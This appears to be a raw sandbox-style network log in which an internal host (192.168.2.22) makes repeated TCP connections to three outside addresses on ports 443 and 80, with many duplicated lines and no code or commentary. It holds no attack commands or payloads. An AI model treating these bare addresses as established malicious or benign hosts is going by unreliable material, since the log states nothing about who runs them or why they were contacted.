Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443

Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.216.183.13:80
Source: global traffic	TCP traffic: 41.216.183.13:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.216.183.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.216.183.13:80
Source: global traffic	TCP traffic: 41.216.183.13:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.216.183.13:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.216.183.13:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.216.183.13:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.216.183.13:80
Source: global traffic	TCP traffic: 41.216.183.13:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.216.183.13:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.216.183.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
